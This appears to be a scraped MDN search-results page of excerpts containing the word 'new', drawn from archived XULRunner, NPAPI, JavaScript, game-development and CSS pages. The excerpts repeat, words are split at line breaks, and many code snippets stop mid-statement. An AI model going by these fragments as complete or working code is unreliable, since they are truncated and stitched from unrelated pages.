new, simple yet highly functional and customizable web browser, based on xulrunner 22. websecurify web application security testing environment. source yoono desktop win/mac application to get all your friend updates, update your status and share stuff easily across facebook, myspace, twitter, and more - all at once! simplify your online social life. zotero reference manager w...
...nt. github bluegriffon the next-generation web editor based on the rendering engine of firefox. build instructions convertigo enterprise mashup server a web integrator and web clipper tool to build enterprise mashups nightingale nightingale is a communtiy fork of the songbird media player, bringing back linux support and much more. build instructions kirix strata a
new specialty browser for accessing and manipulating data from the web telekast an open source teleprompter and script editor. source tomtom home 2 pc application to manage tomtom gps devices understanding faith (desktop version) a multimedia religious education resource for catholic secondary schools in australia. vivipos integrated point-of-sales software-hardware so...
How to enable locale switching in a XULRunner application - Archive of obsolete content
ocale? selecteditem = listitem; } localelistbox.appendchild(listitem); } // highlight current locale localelistbox.selecteditem = selecteditem; } catch (err) { alert (err); } 4. code to update the locale user preference and restart the application mozilla xulrunner doesn't allow runtime switching of the locale, therefore the application must be restarted to activate the
new choice. here is an example event handler which is fired when the user clicks on the button to change the locale. it saves the
new locale to the user application preferences (thereby overriding the default prefs.js above) and then asks xulrunner to restart. function changelocale() { try { // which locale did the user select? var localelistbox = document.getelementbyid("locale-listbox"); va...
...hoice. here is an example event handler which is fired when the user clicks on the button to change the locale. it saves the
new locale to the user application preferences (thereby overriding the default prefs.js above) and then asks xulrunner to restart. function changelocale() { try { // which locale did the user select? ...
... { // which locale did the user select? ...
Mozilla.dev.apps.firefox-2006-09-29 - Archive of obsolete content
the distributor university students working on cache distribution project - looking for help for how to tap the http requests...
... the distributor university students working on cache distribution project - looking for help for how to tap the http requests. there have been no responses so far. ...
... the distributor university students working on cache distribution project - looking for help for how to tap the http requests. there have been no responses so far. ...
2006-09-29 - Archive of obsolete content
the distributor university students working on cache distribution project - looking for help for how to tap the http requests...
... the distributor university students working on cache distribution project - looking for help for how to tap the http requests. there have been no responses so far. ...
... the distributor university students working on cache distribution project - looking for help for how to tap the http requests. there have been no responses so far. ...
2006-10-13 - Archive of obsolete content
- october 7th to october 13th 2006 cannot build ff 1.5.0.7 on linux x86_64 werner flamme cannot build firefox 1.5.0.7 on his suse linux 10.0 x86_64 box. he gets an error in the middle of his build. ...
...ot build firefox 1.5.0.7 on his suse linux 10.0 x86_64 box. he gets an error in the middle of his build. he has disabled xft and has tried looking at related postings by benjamin smedberg gcc-40-workarounds and gcc-and-visibility-one-step-forward-hit-a-brick-wall announcements please help us test the
new tinderbox and bonsai server installations paul reed announced that they are setting up a
new installation of the tinderbox and bonsai servers onto
new, supported hardware. ...
...p-forward-hit-a-brick-wall announcements please help us test the
new tinderbox and bonsai server installations paul reed announced that they are setting up a
new installation of the tinderbox and bonsai servers onto
new, supported hardware. some testing and validation has been done, but they would like other people to look at the installations and complete the setup before they switch over.
new tinderbox installation
new bonsai installation if any inconsistencies are found please use bugzilla to let them know discussions there were no discussions this week. meetings there were no meetings this week. ...
Monitoring plugins - Archive of obsolete content
runtime data the runtime information reported is always in fractions of a second. because the component measures the wall clock time it takes for blocking plugin calls to execute, the value includes both cpu time, the wait time between allocation of cpu time to the process as well as any disk i/o time. ...
... runtime data the runtime information reported is always in fractions of a second. because the component measures the wall clock time it takes for blocking plugin calls to execute, the value includes both cpu time, the wait time between allocation of cpu time to the process as well as any disk i/o time. ...
...asures the wall clock time it takes for blocking plugin calls to execute, the value includes both cpu time, the wait time between allocation of cpu time to the process as well as any disk i/o time. it is therefore technically incorrect to say that the runtime is a measure of cpu use, however, it is a good representation of overall resources being consumed by the plugin. usage to make use of the
new component you must register to receive its runtime notifications using the observer service. the notification's topic is experimental-notify-plugin-call. if you are
new to the mozilla observer service, you may want to familiarize yourself with it before proceeding further. you can find more information on the observer service here and here. below are a number of javascript snippets that would ...
NPN_Write - Archive of obsolete content
e streams, and other factors. if unsuccessful, the plug-in returns a negative integer. this indicates that the browser encountered an error while processing the data, so the plug-in should terminate the stream by calling npn_destroystream(). description npn_write() delivers a buffer from the stream to the instance. a plug-in can call this function multiple times after creating a stream with npn_
newstream(). the browser makes a copy of the buffer if necessary, so the plug-in can free the buffer as the method returns, if desired. see "example of sending a stream" for an example that includes npn_write(). example this example pushes a snippet of html over a
newly created stream, then destroys the stream when it's done. note: you should actually handle errors, which this example doesn't do. n...
...r an example that includes npn_write(). example this example pushes a snippet of html over a
newly created stream, then destroys the stream when it's done. note: you should actually handle errors, which this example doesn't do. npstream* stream; char* mydata = "<html><b>this is a message from my plug-in!</b></html>"; int32 mylength = strlen(mydata) + 1; /* create the stream. */ err = npn_
newstream(instance, "text/html", "_blank", &stream) /* push data into the stream. */ err = npn_write(instance, stream, mylength, mydata); /* delete the stream. ...
...m; char* mydata = "<html><b>this is a message from my plug-in!</b></html>"; int32 mylength = strlen(mydata) + 1; /* create the stream. */ err = npn_
newstream(instance, "text/html", "_blank", &stream) /* push data into the stream. */ err = npn_write(instance, stream, mylength, mydata); /* delete the stream. ...
NPP_Destroy - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary deletes a specific instance of a plug-in. syntax #include <npapi.h> nperror npp_destroy(npp instance, npsaveddata **save); parameters the function has the following parameters: instance pointer to the plug-in instance to delete. **save state or other information to save for reuse by a
new instance of this plug-in at the same url. passed to npp_
new. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npp_destroy releases the instance data and resources associated with a plug-in. the browser calls this function when a plug-in instance is del...
...ta at this time. if this function is deleting the last instance of a plug-in, np_shutdown is subsequently called. use np_shutdown to delete any data allocated in np_initialize and intended to be shared by all instances of a plug-in. use the optional save parameter if you want to save and reuse some state or other information. upon the user's return to the page, this information is passed to the
new plug-in instance when it is created with npp_
new. avoid trying to save critical data with this function. ownership of the buf field of the npsaveddata structure passes from the plug-in to the browser when npp_destroy returns. the browser can and will discard this data based on arbitrary criteria such as its size and the user's page history. to ensure that the browser does not crash or leak memo...
...ield should be a flat structure (a simple structure with no allocated substructures) allocated with npn_memalloc. mac os if you want to restore state information if this plug-in is later recreated, use np_memalloc to create an npsaveddata structure. note: you should not perform any graphics operations in npp_destroy as the instance's window is no longer guaranteed to be valid. see also npp_
new, np_shutdown, npp, npn_memalloc, npsaveddata ...
NPSavedData - Archive of obsolete content
he web page that contains it. ...
... plug-in's npp_destroy() function to allocate an npsaveddata object using the npn_memalloc() function, fill in the fields, and return it to the browser as an output parameter. ...
... the fields, and return it to the browser as an output parameter. see instance destruction for a code example that shows how to use npsaveddata. ...
NPAPI plugin reference - Archive of obsolete content
npfullprint substructure of npprint that contains platform-specific information used during full-page mode printing. npidentifier npidentifier is an opaque type used for method and property identifiers, such as strings or integers. npidentifiers are unique, in that for any given string or integer, there is only one npidentifier. the lifetime of npidentifiers is controlled by the browser. npn
newstream requests the creation of a
new data stream produced by the plug-in and consumed by the browser. npn_createobject allocates a
new npobject. npn_destroystream closes and deletes a stream. npn_enumerate gets the names of the properties and methods of the specified npobject. npn_evaluate evaluates a script in the scope of the specified npobject. npn_forceredraw asks the plugin host t...
...ger that is passed in. npn_getproperty gets the value of a property on the specified npobject. npn_getstringidentifier returns an opaque identifier for the string that is passed in. npn_getstringidentifiers returns an array of opaque identifiers for the names that are passed in. npn_geturl asks the browser to create a stream for the specified url. npn_geturlnotify requests creation of a
new stream with the contents of the specified url; gets notification of the result. npn_getvalue allows the plug-in to query the browser for information. npn_getvalueforurl provides information to a plugin which is associated with a given url, for example the cookies or preferred proxy. npn_hasmethod determines whether or not the specified npobject has a particular method. npn_hasproperty det...
...lug-in. you specify one of these to any npapi function that needs to know which plug-in to work with. npp_destroy deletes a specific instance of a plug-in. npp_destroystream tells the plug-in that a stream is about to be closed or destroyed. npp_getvalue allows the browser to query the plug-in for information. npp_handleevent delivers a platform-specific window event to the instance. npp_
new creates a
new instance of a plug-in. npp_
newstream notifies a plug-in instance of a
new data stream. npp_print requests a platform-specific print operation for an embedded or full-screen plug-in. npp_setvalue implemented by plugins. this call is used to inform plugins of variable information controlled by the browser. npp_setwindow tells the plug-in when a window is created, moved, sized...
TCP/IP Security - Archive of obsolete content
y need to be modified to provide this protection. while this provides a very high degree of control and flexibility over the application’s security, it may require a large resource investment to add and configure controls properly for each application. designing a cryptographically sound application protocol is very difficult, and implementing it properly is even more challenging, so creating
new application layer security controls is likely to create vulnerabilities. also, some applications, particularly off-the-shelf software, may not be capable of providing such protection. while application layer controls can protect application data, they cannot protect tcp/ip information such as ip addresses because this information exists at a lower layer. whenever possible, application layer co...
...ovide protection for communication sessions of other types of applications such as smtp, point of presence (pop), internet message access protocol (imap), and file transfer protocol (ftp). because all major web browsers include support for tls, users who wish to use web-based applications that are protected by tls normally do not need to install any client software or reconfigure their systems.
newer applications of transport layer security protocols protect both http and non-http application communications, including client/server applications and other network traffic. controls at each layer offer advantages and features that controls at other layers do not. ssl is the most commonly used transport layer security control. depending on how ssl is implemented and configured, it can provid...
...anging data. the data can only be decrypted by someone who has the secret key. integrity. ssl can determine if data has been changed (intentionally or unintentionally) during transit. the integrity of data can be assured by generating a message authentication code (mac) value, which is a keyed cryptographic checksum of the data. if the data is altered and the mac is recalculated, the old and
new macs will differ. peer authentication. each ssl endpoint can confirm the identity of the other ssl endpoint with which it wishes to communicate, ensuring that the network traffic and data is being sent from the expected host. ssl authentication is typically performed one-way, authenticating the server to the client, but it can be performed mutually. replay protection. the same data is not de...
Common Firefox theme issues and solutions - Archive of obsolete content
ghter toolbar */ #inspector-inspect-toolbutton { list-style-image: url("chrome://browser/skin/devtools/inspect-button.png"); -moz-image-region: rect(0px 16px 16px 0px); } style inspector is completely unstyled the style inspector that is part of firefox 10 and later needs to be styled. using the default theme in the latest firefox, please try tools > web developer > inspect to see how this
new feature functions and how it should be styled. you'll probably want to copy the files from the folder browser/devtools/ from the default theme into your theme and then modify as necessary to achieve the desired look. style inspector's bread crumb buttons are hard to read the text labels of breadcrumbs on the style inspector (tools > web developer > inspect) are too similar to the background col...
...s-id { .inspector-breadcrumbs-id, .inspector-breadcrumbs-classes { style inspector breadcrumb button backgrounds are not consistent between pre-ff14 and ff14+ the use of the styling rule fill in -moz-border-image is incompatible with versions of firefox older than firefox14, however, its use is needed for firefox 14 and later. themes that use -moz-border-image and support both firefox 14 and
newer as well as older versions of firefox need to use both the older and
newer methodologies like the following example. in most themes this issue specifically affects the breadcrumbs toolbar of the style inspector. .inspector-breadcrumbs-button { -moz-border-image: url("chrome://browser/skin/devtools/breadcrumbs/ltr-middle.png") 2 13 2 13 stretch; /* for ff13- */ -moz-border-image: url("chrom...
...t styled. please go to mozilla's mission page using both your theme and the default theme and try the video on that page. this issue needs to be corrected in the next version of your theme. html 5 media control bar is missing full screen button the fullscreen icon is missing from the html5 video control bar. to test this go to mozilla's mission page. warning: if you copy over the firefox 11 or
newer style rules and graphics from the media folder in omni.ja you need to make the following changes in videocontrols.css or the pause and mute buttons will break in firefox 10. change the style rules: .playbutton[paused] {...} .mutebutton[muted] {...} to: .playbutton[paused="true"] {...} .mutebutton[muted="true"] {...} error console warnings unknown namespace for videocontrols.css the er...
Scratchpad - Archive of obsolete content
nt to use the output. the featured video tutorial shows a case of using scratchpad with a page run by a local web server. it is also possible to use scratchpad over pages opened from a local file system, if permission policies allow that. but even with possible limitations present, the html code can be either manually entered or copied from the source and pasted into the "about:blank" page (a
new empty tab) with the use page inspector's edit as html context menu command. usage opening scratchpad in its own window there are several different ways to open scratchpad in its own window: press shift + f4, or go to the web developer menu (which is a submenu in the tools menu on macos and linux), then select scratchpad click the wrench icon (), which is in the main toolbar or under the h...
...are several different ways to open scratchpad in its own window: press shift + f4, or go to the web developer menu (which is a submenu in the tools menu on macos and linux), then select scratchpad click the wrench icon (), which is in the main toolbar or under the hamburger menu (), then select "scratchpad". this will open up scratchpad in its own window. opening scratchpad in the toolbox
new in firefox 47. from firefox 47, you can open scratchpad inside the toolbox. first you need to check "scratchpad" in the "default firefox developer tools" section of the settings page. now scratchpad will be available in the toolbox, alongside other tools like the page inspector and the web console. this is especially useful in split console mode: you can use scratchpad for a persistent, multili...
...e, insert the result as a comment ctrl + l cmd + l ctrl + l re-evaluate current function ctrl + e cmd + e ctrl + e reload the current page, then run scratchpad code ctrl + shift + r cmd + shift + r ctrl + shift + r save the pad ctrl + s cmd + s ctrl + s open an existing pad ctrl + o cmd + o ctrl + o create a
new pad ctrl + n cmd + n ctrl + n close scratchpad ctrl + w cmd + w ctrl + w pretty print the code in scratchpad ctrl + p cmd + p ctrl + p show autocomplete suggestions ctrl + space ctrl + space ctrl + space show inline documentation ctrl + shift + space ctrl + shift + space ctrl + shift + space source editor shor...
Browser Feature Detection - Archive of obsolete content
true false true maxheight true ie7 only true maxwidth true ie7 only true minheight true true true minwidth true ie7 only true orphans true false true outline true false true outlinecolor true false true outlinestyle true false true outli
newidth true false true overflow true true true page true false true pagebreakafter true true true pagebreakbefore true true true pagebreakinside true false true pause true false true pauseafter true false true pausebefore true false true pi...
..., {name: 'marks', 'supported': false}, {name: 'maxheight', 'supported': false}, {name: 'maxwidth', 'supported': false}, {name: 'minheight', 'supported': false}, {name: 'minwidth', 'supported': false}, {name: 'orphans', 'supported': false}, {name: 'outline', 'supported': false}, {name: 'outlinecolor', 'supported': false}, {name: 'outlinestyle', 'supported': false}, {name: 'outli
newidth', 'supported': false}, {name: 'overflow', 'supported': false}, {name: 'page', 'supported': false}, {name: 'pagebreakafter', 'supported': false}, {name: 'pagebreakbefore', 'supported': false}, {name: 'pagebreakinside', 'supported': false}, {name: 'pause', 'supported': false}, {name: 'pauseafter', 'supported': false}, {name: 'pausebefore', 'supported': false}, {name: 'pitch', ...
... note: this reprinted article was originally part of the devedge site. ...
Array comprehensions - Archive of obsolete content
rototype.map, array.prototype.filter, arrow functions, and spread syntax. obsolete since gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the array comprehension syntax was a javascript expression which allowed you to quickly assemble a
new array based on an existing one. however, it has been removed from the standard and the firefox implementation. do not use it! syntax [for (x of iterable) x] [for (x of iterable) if (condition) x] [for (x of iterable) for (y of iterable) x + y] description inside array comprehensions, these two kinds of components are allowed: for...of and if the for-of iteration is always the first com...
...] [for (x of iterable) for (y of iterable) x + y] description inside array comprehensions, these two kinds of components are allowed: for...of and if the for-of iteration is always the first component. multiple for-of iterations or if statements are allowed. array comprehension was previously proposed to be standardized in ecmascript 2016, it provide a useful shortcut for constructing a
new array based on the contents of another. comprehensions can often be used in place of calls to map() and filter(), or as a way of combining the two. the following comprehension takes an array of numbers and creates a
new array of the double of each of those numbers. var numbers = [1, 2, 3, 4]; var doubled = [for (i of numbers) i * 2]; console.log(doubled); // logs 2,4,6,8 this is equivalent to...
...perations can be combined into a single array comprehension. here is one that filters just the even numbers, then creates an array containing their doubles: var numbers = [1, 2, 3, 21, 22, 30]; var doubledevens = [for (i of numbers) if (i % 2 === 0) i * 2]; console.log(doubledevens); // logs 4,44,60 the square brackets of an array comprehension introduce an implicit block for scoping purposes.
new variables (such as i in the example) are treated as if they had been declared using let. this means that they will not be available outside of the comprehension. the input to an array comprehension does not itself need to be an array; iterators and generators can also be used. even strings may be used as input; to achieve the filter and map actions (under array-like objects) above: var str = '...
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
so far, es2016, es2017, and es2018 have been released. this year, the es2019 specification will be released and es2020 is the current ecmascript draft specification. you can see the latest proposals on the tc39/ecma262 github repository. a channel for feedback on ecmascript standards is es-discuss. below is a list of features in es2016+ and what version of firefox they were implemented in. ...
...0 this is the current es.next version. implemented proposals not in es.next this section needs to be updated to reflect current changes. (may 2019) the following features are already implemented, but only available in the firefox nightly channel and not yet included in a draft edition of an ecmascript specification. ...
...ion. additions to the arraybuffer object arraybuffer.transfer() (spec)
new typedobject objects based on typed objects draft, and exposed via a global typedobject object, e.g. typedobject.structtype & typedobject.arraytype. this feature is non-standard and not documented. ...
Enumerator - Archive of obsolete content
collection optional any collection object. remarks collections differ from arrays in that the members of a collection are not directly accessible. ...
... instead of using indexes, as you would with arrays, you can move the current item pointer only to the first or next element of a collection. the enumerator object provides a way to access any member of a collection and behaves similarly to the for...each statement in vbscript. ...
...nter only to the first or next element of a collection. the enumerator object provides a way to access any member of a collection and behaves similarly to the for...each statement in vbscript. ...
handler.enumerate() - Archive of obsolete content
this is bound to the handler. target the target object. return value an iterator object. description the handler.enumerate method is a trap for for...in statements. ...
...numerate method is a trap for for...in statements. interceptions this trap can intercept these operations: property enumeration / for...in: for (var name in proxy) {...} reflect.enumerate() invariants if the following invariants are violated, the proxy will throw a typeerror: the enumerate method must return an object. examples the following code traps for...in statements. ...
...: the enumerate method must return an object. examples the following code traps for...in statements. var p =
new proxy({}, { enumerate(target) { console.log('called'); return ['a', 'b', 'c'][symbol.iterator](); } }); for (var x in p) { // "called" console.log(x); // "a" } // "b" // "c" the following code violates the invariant. var p =
new proxy({}, { enumerate(target) { return 1; } }); for (var x in p) {} // typeerror is thrown note: both examples make use of the shorthand syntax for method definitions. specifications not part of any standard. ...
Packages - Archive of obsolete content
ackages object lets you access the public methods and fields of an arbitrary java class from within javascript. the java, netscape, and sun properties represent the packages java.*, netscape.*, and sun.* respectively. use standard java dot notation to access the classes, methods, and fields in these packages. ...
...you must use the packages object to access classes outside the netscape, sun, and java packages. ...
...ass in a package other than netscape, java, or sun that is available to javascript. java: any class in the java package java.*. netscape: any class in the java package netscape.*. sun: any class in the java package sun.*. examples example: javascript function to create a java dialog box the following javascript function creates a java dialog box: function createwindow() { var theowner =
new packages.java.awt.frame(); var thewindow =
new packages.java.awt.dialog(theowner); thewindow.setsize(350, 200); thewindow.settitle("hello, world"); thewindow.setvisible(true); } in the previous example, the function instantiates thewindow as a
new packages object. the setsize, settitle, and setvisible methods are all available to javascript as public methods of java.awt.dialog. ...
RDF in Mozilla FAQ - Archive of obsolete content
. what is a datasource? rdf can generally be viewed in two ways: either as a graph with nodes and arcs, or as a "soup" of logical statements. a datasource is a subgraph (or collection of statements, depending on your viewpoint) that are for some reason collected together. some examples of datasources that exist today are "browser bookmarks", "browser global history", "imap mail accounts", "nntp
news servers", and "rdf/xml files". in mozilla, datasources can be composed together using the composite data source. this is like overlaying graphs, or merging collections of statements ("microtheories") together. statements about the same rdf resource can then be intermingled: for example, the "last visit date" of a particular website comes from the "browser global history" datasource, and the "sh...
...e. you may use any kind of tag (including html, or arbitrary xml) in the <action> section of a <rule>. when should i use a xul template? one alternative to using rdf and xul templates is to use the w3c dom apis to build up and manipulate a xul (or html) content model. there are times, however, when doing so may be inconvenient: there are several "views" of the data. for example, mozilla mail/
news reveals the folder hierarchy in the toolbar, the "folder pane", in several menus, and in some of the dialogs. rather than writing three pieces of js (or c++) code to construct the dom trees each for <menubutton>, <menu>, and <tree> content models, you write three compact sets of rules for each content model. the data can change. for example, a mail/
news user may add or remove imap folders. (not...
...s start with the following xul. <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> ... <tree id="my-tree" datasources="rdf:null"> ... </tree> ... </window> assuming that we've aquired a datasource somehow (e.g., like this), the following sample code illustrates how to add that datasource to the template, and then force the template to rebuild itself based on the
newly added datasource's contents. var ds = /* assume we got this somehow! */; // get the dom element for 'my-tree' var tree = document.getelementbyid('my-tree'); // add our datasource to it tree.database.adddatasource(ds); // force the tree to rebuild *now*. you have to do this "manually"! tree.builder.rebuild(); any xul element with a datasources attribute will "get" a database property and a bu...
Introduction to game development for the Web - Game development
ern web technologies and a recent browser, it's entirely possible to make stunning, top-notch games for the web. and we're not talking about simple card games or multi-player social games that have in the olden days been done using flash®. we're talking about kick-ass 3d action shooters, rpgs, and more. thanks to massive performance improvements in javascript just-in-time compiler technology and
new apis, you can build games that run in the browser (or on html5-powered devices) without making compromises. the html5 game platform you can truly think of the web as a better target platform for your game. as we like to say, "the web is the platform." let's take a look at the core of the web platform: function technology audio web audio api graphics webg...
...ch of the web is enormous; it's everywhere. games built with html5 work on smartphones, tablets, pcs and smart tvs. marketing and discoverability are improved. you're not limited to promoting your app on someone else's app store. instead, you can advertise and promote your game all over the web as well as other media, taking advantage of the web's inherent linkability and shareability to reach
new customers. you have control where it matters: payments. you don't have to hand over 30% of your revenues to someone else just because your game is in their ecosystem. instead, charge what you want and use whatever payment processing service you like. again with more control, you can update your game whenever you want. no waiting breathlessly for approval while someone hidden within another comp...
...rth. web workers workers give you the ability to spawn background threads running their own javascript code, to take advantage of modern, multi-core processors. xmlhttprequest and file api the combination of xmlhttprequest and the file api lets you send and receive any kind of data you want (don't let the "xml" throw you!) from a web server. this is a great way to do anything from downloading
new game levels and artwork to transmitting non-real-time game status information back and forth. ...
Audio for Web games - Game development
he api before we are able to play them. we can do this with javascript's async/await functionality. once they are available to play, we need to make sure they start at the correct point that other tracks might be playing at, so they sync up. let's create our audio context: // for cross browser compatibility const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx =
new audiocontext(); now let's select all the <li> elements; later we can harness these elements to give us access to the track file path and each individual play button. const trackels = document.queryselectorall('li'); we want to make sure each file has loaded and been decoded into a buffer before we use it, so let's create an async function to allow us to do this: async function getfile(filep...
... note: you can see this demo in action here and view the source code here. in the context of your game world you may have loops and samples that are played in different circumstances, and it can be useful to be able to synchronize with other tracks for a more seamless experience. note: this example does not wait for the beat to end before introducing the next piece; we could do this if we k
new the bpm (beats per minute) of the tracks. you may find that the introduction of a
new track sounds more natural if it comes in on the beat/bar/phrase or whatever units you want to chunk your background music into. to do this before playing the track you want to sync, you should calculate how long it is until the start of the next beat/bar etc. here's a bit of code that given a tempo (the time...
...is until the start of the next beat/bar etc. here's a bit of code that given a tempo (the time in seconds of your beat/bar) will calculate how long to wait until you play the next part — you feed the resulting value to the start() function with the first parameter, which takes the absolute time of when that playback should commence. ...
Efficient animation for web games - Game development
take a concrete example, if you start a css transition to move something from off-screen so that it is fully visible on-screen, the browser knows that the related content will end up completely visible to the user and can then pre-render that content. when you animate position with javascript, the browser cannot easily make that same assumption, and so you might end up causing it to draw only the
newly-exposed region of content, which may introduce slow-down. there are signals at the beginning and end of animations that allow you to attach javascript callbacks and form a rudimentary form of synchronisation (though there are no guarantees on how promptly these callbacks will happen). speaking of the assumptions that the browser can make, you should avoid causing it to have to re-layout during...
...hat order things will be called in with requestanimationframe (though, in our experience, it is in the order in which they were requested), so this also helps cut out any ambiguity. an easy way to do this is to declare your own refresh function that sets a flag when it calls requestanimationframe. when the callback is executed, you can unset that flag so that calls to that function will request a
new frame again, like this: function redraw() { drawpending = false; // do drawing ... } var drawpending = false; function requestredraw() { if (!drawpending) { drawpending = true; requestanimationframe(redraw); } } following this pattern — or something similar — means that no matter how many times you call requestredraw, your drawing function will only be called once per frame...
...his conclusion was reached, however, is more important than the conclusion itself. to begin with, the priority was to write the code quickly to iterate on gameplay (and we’d certainly recommend doing this). we assumed that our own, naive code was making the game slower than we would like. to an extent, this was true: we found plenty to optimise in our own code, but it got to the point where we k
new what we were doing ought to perform quite well, and it still wasn’t quite there. at this point, we turned to the firefox javascript profiler, and this told us almost exactly what low-hanging-fruit was left to address to improve performance. as it turned out, the code from some of the things mentioned above; the animation code had some corner cases where redraws were happening several times per ...
Move the ball - Game development
small value to x and y after every frame has been drawn to make it appear that the ball is moving. let's define these small values as dx and dy and set their values to 2 and -2 respectively. add the following below your x and y variable definitions: var dx = 2; var dy = -2; the last thing to do is to update x and y with our dx and dy variable on every frame, so the ball will be painted in the
new position on every update. add the following two
new lines indicated below to your draw() function: function draw() { ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code again and try it in your browser. this works ok, although it appears that the ball is leaving a trail behind it...
...n: function draw() { ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code again and try it in your browser. this works ok, although it appears that the ball is leaving a trail behind it: clearing the canvas before each frame the ball is leaving a trail because we're painting a
new circle on every frame without removing the previous one. don't worry, because there's a method to clear canvas content: clearrect(). this method takes four parameters: the x and y coordinates of the top left corner of a rectangle, and the x and y coordinates of the bottom right corner of a rectangle. the whole area covered by this rectangle will be cleared of any content previously painted there.
...emoving the previous one. don't worry, because there's a method to clear canvas content: clearrect(). this method takes four parameters: the x and y coordinates of the top left corner of a rectangle, and the x and y coordinates of the bottom right corner of a rectangle. the whole area covered by this rectangle will be cleared of any content previously painted there. add the following highlighted
new line to the draw() function: function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.beginpath(); ctx.arc(x, y, 10, 0, math.pi*2); ctx.fillstyle = "#0095dd"; ctx.fill(); ctx.closepath(); x += dx; y += dy; } save your code and try again, and this time you'll see the ball move without a trail. every 10 milliseconds the canvas is cleared, the blue c...
Initialize the framework - Game development
an start writing the game's functionality, we need to create a basic structure to render the game inside. this can be done using html — the phaser framework will generate the required <canvas> element. the game's html the html document structure is quite simple, as the game will be rendered entirely on the <canvas> element generated by the framework. ...
...rite text editor, create a
new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the framework</title> <style>* { padding: 0; margin: 0; }</style> <script src="js/phaser.min.js"></script> </head> <body> <script> var game =
new phaser.game(480, 320, phaser.canvas, null, { preload: preload, create: create, update: update }); function preload() {} function create() {} function update() {} </script> </body> </html> downloading the phaser code next, we need to go through the process of downloading the phaser source code and applying it to our html document. this tutorial uses phaser v2 — it won't ...
...charset defined, <title> and some basic css in the header to reset the default margin and padding. we also have a <script> element to apply the phaser source code to the page. the body contains a second <script> element, where we will write the javascript code to render the game and control it. the <canvas> element is generated automatically by the framework. we are initializing it by creating a
new phaser.game object and assigning it to the game variable. the parameters are: the width and height to set the <canvas> to. the rendering method. the three options are auto, canvas and webgl. we can set one of the latter two explicitly or use auto to let phaser decide which one to use. it usually uses webgl if available in the browser, falling back to canvas 2d if not. the id of the <canvas> ...
XInclude - MDN Web Docs Glossary: Definitions of Web-related terms
} var j; var xincludeparent = xinclude.parentnode; try { netscape.security.privilegemanager.enableprivilege('universalxpconnect universalbrowserread'); // necessary with file:///-located files trying to reach external sites if (href !== null) { var response, responsetype; var request =
new xmlhttprequest(); request.open('get', href, false); request.setrequestheader('if-modified-since', 'thu, 1 jan 1970 00:00:00 gmt'); request.setrequestheader('cache-control', 'no-cache'); if (accept) { request.setrequestheader('accept', accept); } if (accep...
... // let the request be processed below } else { if (encoding === '' || encoding === null) { // encoding has no effect on xml encoding = 'utf-8'; ...
...ar encodingtype = response.match(pattern); if (encodingtype) { encodingtype = encodingtype[2]; } else { encodingtype = 'utf-8'; } // need to make a whole
new request apparently since cannot convert the encoding after receiving it (to know what the encoding was) var request2 =
new xmlhttprequest(); request2.overridemimetype('text/plain; charset='+encodingtype); request2.open('get', href, false); request2.setrequesthead...
Accessible multimedia - Learn web development
html5 video and audio share an api — html media element — which allows you to map custom functionality to buttons and other controls — both of which you define yourself. let's take the video example from above and add custom controls to them. basic setup first, grab a copy of our custom-controls-start.html, custom-controls.css, rabbit320.mp4, and rabbit320.webm files and save them in a
new directory on your hard drive. create a
new file called main.js and save it in the same directory. first of all, let's look at the html for the video player, in the html: <section class="player"> <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp...
...o include text tracks along with your video content. note: text tracks are also useful for potentially any user, not just those with disabilities. for example, some users may not be able to hear the audio because they are in noisy environments (like a crowded bar when a sports game is being shown) or might not want to disturb others if they are in a quiet place (like a library.) this is not a
new concept — television services have had closed captioning available for quite a long time: whereas many countries offer english films with subtitles written in their own native languages, and different language subtitles are often available on dvds, for example there are different types of text track with different purposes. the main ones you'll come across are: captions — there for t...
...ear presentation so it is perceivable to those with low vision/color blindness, and also make it keyboard accessible. remember that accessibility is about doing as much as you can, rather than striving for 100% accessibility all the time, which is often impossible. test your skills! you've reached the end of this article, but can you remember the most important information? we've not written a
new set of assessments for this article, because there are already assessments available in our html multimedia and embedding module that test your knowledge of the information presented here. if you haven't already, go and try out the assessments at test your skills: html images and test your skills: multimedia and embedding. summary this chapter has provided a summary of accessibility concerns fo...
Cascade and inheritance - Learn web development
d to a selected element to be the same as that of its parent element. effectively, this "turns on inheritance". initial sets the property value applied to a selected element to the initial value of that property. unset resets the property to its natural value, which means that if the property is naturally inherited it acts like inherit, otherwise it acts like initial. note: there is also a
newer value, revert, which has limited browser support. note: see origin of css declarations in introducing the css cascade for more information on each of these and how they work. we can look at a list of links and explore how the universal values work. the live example below allows you to play with the css and see what happens when you make changes. playing with code really is the best way to ...
... html and css. for example: the second list item has the class my-class-1 applied. this sets the color of the <a> element nested inside to inherit. if you remove the rule how does it change the color of the link? do you understand why the third and fourth links are the color that they are? check the description of the values above if not. which of the links will change color if you define a
new color for the <a> element — for example a { color: red; }? resetting all property values the css shorthand property all can be used to apply one of these inheritance values to (almost) all properties at once. its value can be any one of the inheritance values (inherit, initial, unset, or revert). it's a convenient way to undo changes made to styles so that you can get back to a known star...
......
Fundamental CSS comprehension - Learn web development
rofile. prerequisites: before attempting this assessment you should have already worked through all the articles in this module. objective: to test comprehension of fundamental css theory, syntax and mechanics. starting point to get this assessment started, you should: go and grab the html file for the exercise, and the associated image file, and save them in a
new directory on your local computer. if you want to use your own image file and fill your own name in, you are welcome to — just make sure the image is square. grab the css resources text file — this contains a set of raw selectors and rulesets that you'll need to study and combine to answer part of this assessment. alternatively, you could use a site like jsbin or glitch to do your assessmen...
